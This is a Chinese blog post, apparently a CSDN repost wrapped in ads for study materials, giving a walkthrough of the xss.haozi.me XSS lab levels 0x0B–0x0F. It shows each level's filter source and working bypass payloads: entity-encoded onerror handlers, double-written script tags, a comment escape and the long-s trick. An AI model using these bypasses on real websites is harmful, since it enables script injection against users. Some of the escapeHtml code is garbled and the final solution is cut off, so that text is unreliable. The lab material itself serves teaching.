xss(2)，web高级前端面试题

先自我介绍一下，小编浙江大学毕业，去过华为、字节跳动等大厂，目前阿里P7

深知大多数程序员，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！

因此收集整理了一份《2024年最新Web前端全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。

既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，涵盖了95%以上前端开发知识点，真正体系化！

由于文件比较多，这里只是将部分目录截图出来，全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频，并且后续会持续更新

如果你需要这些资料，可以添加V获取：vip1024c （备注前端）

正文

• 一、0x0B 实体编码绕过
• 二、0x0C script绕过
• 三、0x0D 注释绕过
• 四、0X0E ſ符号绕过
• 五、0x0F 编码解码
• 六、0x10 直接执行
• 七、0x11 闭合绕过
• 八、0x12 闭合绕过

XSS-Labs靶场“1-5”关通关教程
XSS-Labs靶场“6-10”关通关教程
Appcms存储型XSS漏洞复现
XSS-Labs靶场“11-13、15-16”关通关教程
xss.haozi.me靶场“0x00-0x0A”通关教程
xss.haozi.me靶场“0x0B-0x12”通关教程

一、0x0B 实体编码绕过

我们首先构造payload进行测试：

这里我们可以看到全部转为了大写，查看源码：

function render (input) {
  input = input.toUpperCase()
  return `<h1>${input}</h1>`
}

函数内部首先调用了 toUpperCase 方法，将 input 中的所有字符转换为大写形式。然后，使用字符串模板（template literal）构建了一个包含在 <h1> 标签中的字符串，其中 ${input} 被替换为转换为大写的 input。最终，函数返回类似于 <h1>转换为大写的输入字符串</h1> 的字符串。
这里我们需要知道，HTML不去区分大小写，但是JS区分大小写，也就是对大小写敏感，所以我们这里需要进行实体编码来进行绕过：

</h1><img src="" onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)>

当然我们也有别的payload可以完成触发：

</h1><svg><script>&#x61;&#x6c;&#x65;&#x72;&#x74;(1)</script>

同时我们也可以使用官方提供的JS，因为域名对大小写不敏感：

<script src=https://www.segmentfault.com.haozi.me/j.js></script>

二、0x0C script绕过

同样的，我们使用常用的payload进行测试：

可以看到这里依旧是进行了过滤，所以我们查看源码：

function render (input) {
  input = input.replace(/script/ig, '')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

函数内部首先使用正则表达式 replace 方法将输入字符串中所有的 "script" 字符串（不区分大小写）替换为空字符串，从而将所有的 "script" 字符串都移除。然后，使用 toUpperCase 方法将剩余的字符串转换为大写形式。最后，使用字符串拼接方式构建了一个包含在 <h1> 标签中的字符串，其中 input 变量被替换为移除了 "script" 字符串并转换为大写形式的字符串。
就是将输入字符串中所有的 “script” 字符串移除，并将剩余的字符串转换为大写形式，然后嵌入到一个 <h1> 标签中，返回最终的 HTML 字符串。
这里我们由源码得知将script进行了置空，置空这个我们就可以使用双写进行尝试绕过了：
（使用<scripscriptt>alert(1)</scripscriptt>进行测试)

<scripscriptt src="https://www.segmentfault.com.haozi.me/j.js"></scripscriptt>

当然我们也可以不适用script:

</h1><img src="" onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)>

三、0x0D 注释绕过

我们依旧使用最常用的payload进行测试观察回显：

<script>alert(1)</script>

我们可以看到这里将其注释掉了，查看源码：

function render (input) {
  input = input.replace(/[</"']/g, '')
  return `
 <script>
 // alert('${input}')
 </script>
 `
}

函数内部使用了正则表达式 input.replace(/[</"']/g, '')，该正则表达式匹配所有 <, /, ", ' 字符，并将它们替换为空字符串。然后，函数返回一个包含了注释和 <script> 标签的多行字符串。
所以我们需要逃逸掉注释，这里使用回车来破坏注释结构，然后再使用–>来注释掉后面的内容从而完成触发：

alert(1)
-->

四、0X0E ſ符号绕过

首先我们依旧使用常用的payload来测试观察回显：

<script>alert(1)</script>

这里我们可以看到依旧是进行了过滤，所以我们查看源码：

function render (input) {
  input = input.replace(/<([a-zA-Z])/g, '<\_$1')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

函数内部首先使用正则表达式 /<([a-zA-Z])/g 进行匹配，该正则表达式匹配以 < 开头的标签名，然后将标签名的第一个字母用下划线代替，即 <_$1，其中 $1 表示正则表达式中的第一个捕获组，即匹配到的标签名的第一个字母。接着，使用 toUpperCase 方法将整个字符串转换为大写形式。最后，使用字符串拼接方式构建了一个包含在 <h1> 标签中的字符串，其中 input 变量被替换为转换为大写形式并进行标签名替换的字符串。
这里我，我们就涉及一种XSS特殊的绕过技巧，使用ſ符号来代替s，从而达到绕过的效果。

<ſcript src="https://www.segmentfault.com.haozi.me/j.js"></script>

五、0x0F 编码解码

这里我们依旧使用常用的payload进行绕过：

<script>alert(1)<script>

可以看到这里将我们输入的内容放入了img标签中同时进行了编码。所以我们查看源码：

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&')
            .replace(/'/g, ''')
            .replace(/"/g, '"')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f;')
  }
  return `<img src οnerrοr="console.error('${escapeHtml(input)}')">`
}

首先我们定义了一个函数render，用于接收input函数，包含了<img>标签的字符串，同时设置了一个onerror事件，函数内部也定义了一个内部函数escapehtml，用来转义输入的字符串中的特殊字符，使用了replace函数来替换字符中特殊的字符：

• .replace(/&/g, '&')：将 & 替换为 &，以防止 HTML 实体引用问题。
• .replace(/'/g, ''')：将 ’ 替换为 '，以防止单引号在 HTML 属性中引起问题。
• .replace(/"/g, '"')：将 " 替换为 "，以防止双引号在 HTML 属性中引起问题。
• .replace(/</g, '&lt;')：将 < 替换为 <，以防止小于号在 HTML 中引起问题。
• .replace(/>/g, '>')：将 > 替换为 >，以防止大于号在 HTML 中引起问题。
• .replace(/\//g, '/')：将 / 替换为 /，以防止斜杠在 HTML 中引起问题。
  1
  最后，函数返回一个字符串模板，其中包含一个 <img> 标签，设置了一个 onerror事件处理程序，当图像加载失败时，将调用 console.error 输出转义后的输入字符串作为错误消息到控制台。
  但是这里忽略了一点，由于编码后再HTML标签当中，所以当解析代码时候，被过滤的编码字符依旧会被还原再执行，所以过滤的字符其实可以用，我们直接先完成闭合，再注释掉后面内容即可：

### 文末

技术是没有终点的，也是学不完的，最重要的是活着、不秃。

零基础入门的时候看书还是看视频，我觉得成年人，何必做选择题呢，两个都要。喜欢看书就看书，喜欢看视频就看视频。

最重要的是在自学的过程中，一定不要眼高手低，要实战，把学到的技术投入到项目当中，解决问题，之后进一步锤炼自己的技术。

自学最怕的就是缺乏自驱力，一定要自律，杜绝“三天打鱼两天晒网”，到最后白忙活一场。

高度自律的同时，要保持耐心，不抛弃不放弃，切勿自怨自艾，每天给自己一点点鼓励，学习的劲头就会很足，不容易犯困。

技术学到手后，找工作的时候一定要好好准备一份简历，不要无头苍蝇一样去海投简历，容易“竹篮打水一场空”。好好的准备一下简历，毕竟是找工作的敲门砖。

拿到面试邀请后，在面试的过程中一定要大大方方，尽力把自己学到的知识舒适地表达出来，不要因为是自学就不够自信，给面试官一个好的印象，面试成功的几率就会大很多，加油吧，骚年！



**网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。**

**需要这份系统化的资料的朋友，可以添加V获取：vip1024c （备注前端）**
![img](https://img-blog.csdnimg.cn/img_convert/37edf39f61d1920e55472bc1d8e7a40e.png)

**一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！**
面试官一个好的印象，面试成功的几率就会大很多，加油吧，骚年！



**网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。**

**需要这份系统化的资料的朋友，可以添加V获取：vip1024c （备注前端）**
[外链图片转存中...(img-SATPzOe6-1713205507779)]

**一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！**